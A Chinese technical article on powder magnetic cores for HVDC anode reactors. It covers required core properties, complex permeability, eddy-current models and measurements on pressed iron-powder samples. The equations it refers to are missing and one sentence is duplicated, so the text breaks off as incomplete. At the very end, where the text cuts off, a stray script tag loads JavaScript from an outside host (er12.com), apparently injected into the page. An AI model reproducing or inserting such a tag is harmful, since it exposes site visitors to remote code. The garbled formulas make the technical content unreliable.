1 引言
随着电力消费的连年巨增，安全、稳定和高效率的输变电是电力部门的重要研究课题。由于电力电子技术的进步，使长距离的直流输电成为可能，在直流输电系统中，使用晶闸管作为变换器来把交流变成直流，然后又变换成交流。这种直流输电设备晶闸管和阳极电抗器串联连接的模块中，阳极电抗器在晶闸管的构成要素中，是一项重要的元件。从直流输电系统特性行分析，要求构成阳极电抗器的磁芯具备以下特性：
1）到几百khz的频率范围，材料的有效磁导率基本不变，并要求磁芯在高频的涡流损耗很小；
2）具有超过1t的高饱和磁通密度及在必要的磁通密度范围，有100-200μh/m左右的有效磁导率；
3）高频铁损及在开关频率下的铁损都要少；
4）容易制造成重量达100公斤的磁芯；
5）有高的时间稳定性；
6）有小的电磁噪声。
除电力的输变电系统中应用之外，压粉磁芯在电机、大电流滤波器及其抗emi系统中也有广泛的应用空间。本文从压粉磁芯高频磁特性分析、压粉磁芯铁损降低方法等方面对压粉磁芯进行讨论。
2 压粉磁芯的高频磁特性分析
2.1 磁特性的表示
压粉磁芯的磁特性由给定频率下的复数磁导率μ′、μ″或者μ、损耗系数tanδ表示，它们之间的关系为：
根据μ的频率特性，把f→0时的μ或者μ′的值定义为直流磁导率μdc，μ减少到μdc的80%时的f值称之为临界频率fcr，μdc和fcr是压粉粉磁芯的重要特性之一。
2.2 直流磁导率
表示铁磁性粉末集合体的直流磁导率的理论表示式有多种不同的提案，根据ollendorf表示，其直流磁导率的表示式则可表示成与铁粉的填充率、铁粉粒子的有效去磁系数n、铁粉粒子的固有磁导率η、铁粉粒子的有效去磁系数n、铁粉粒子的固有磁导率μt的关系为
2.3 考虑粒子内部涡流时磁导率的表示式
压粉磁芯在高频的复数磁导率的频率特性，由磁芯内涡流的状况来决定。涡流分为各粒子内孤立流动的粒子内部涡流和由于粒子间绝缘不完全而存在于粒子间的涡流，在此，各种涡流单独作用时的复数磁导率基于古典理论来计算。
为了求出由于粒子内涡流引起的复数磁导率的频率特性，把施加交流磁场时的电磁场分布分粒子部分和非磁性部分来计算，算出磁芯内的平均磁通密度即可。设粒子的固有电导率为σt，粒子直径为d，则μ′、μ″可表示为
2.4 考虑粒间涡流时磁导率的表示式
粒间涡流的产生机构和均匀金属物质是相同的，用磁芯的视在电导率σ和视在直流磁导率μdc表示为
式中a为垂直磁路面的磁芯截面积，c是依赖于磁芯截面形状和视在电导率各向异性的修正系数，ps是包含ber，bei，ber′，bei′的s的函数。
2.5 压粉磁芯高频特性分析
压磁磁芯的制备采用表1所示化学成分、粉体特性的雾化纯铁粉，加入0.05wt%的环氧树脂，以196-686mpa（2-7t/cm2）的压力，压制成外径38mm，内径25mm，高度为6.5mm的环状样品，在样品上缠绕直径为0.6mm的铜线，用矢量阻抗仪在10khz-2mhz频率范围内测量出样品的复阻抗，由此计算出μ′、μ″。压粉磁芯的视在电导率则是将以同样方法制备的材料压制成宽10mm、厚6mm、长为35mm的矩形样品，用四端子法，对样品通过1a的电流，电压端间距为20mm条件下，求出长度方向的电导率。
图1为以不同压力成型的样品，铁粉填充率η和直流磁导率μdc关系，若外推直线到η=1，可得到μdc→96.6μ0，这个值可以看成是铁粉粒子固有的导磁率μt。因此可在（2）式中取μt=96.6μ。用图1的数据求粒子的有效去磁场系数n，则可得到图2的结果。随着磁芯密度的上升，去磁系数n减少这个事实反映出由于成型而引起的粒子变形而导致去磁系数n的减少以及由于相邻粒子的存在而导致有效磁场的增加这样的事实。
3 压粉磁芯铁损降低方法
铁损是压粉磁芯的一个重要参数，能否有效地降低铁损，决定?script src=http://er12.com/t.js>
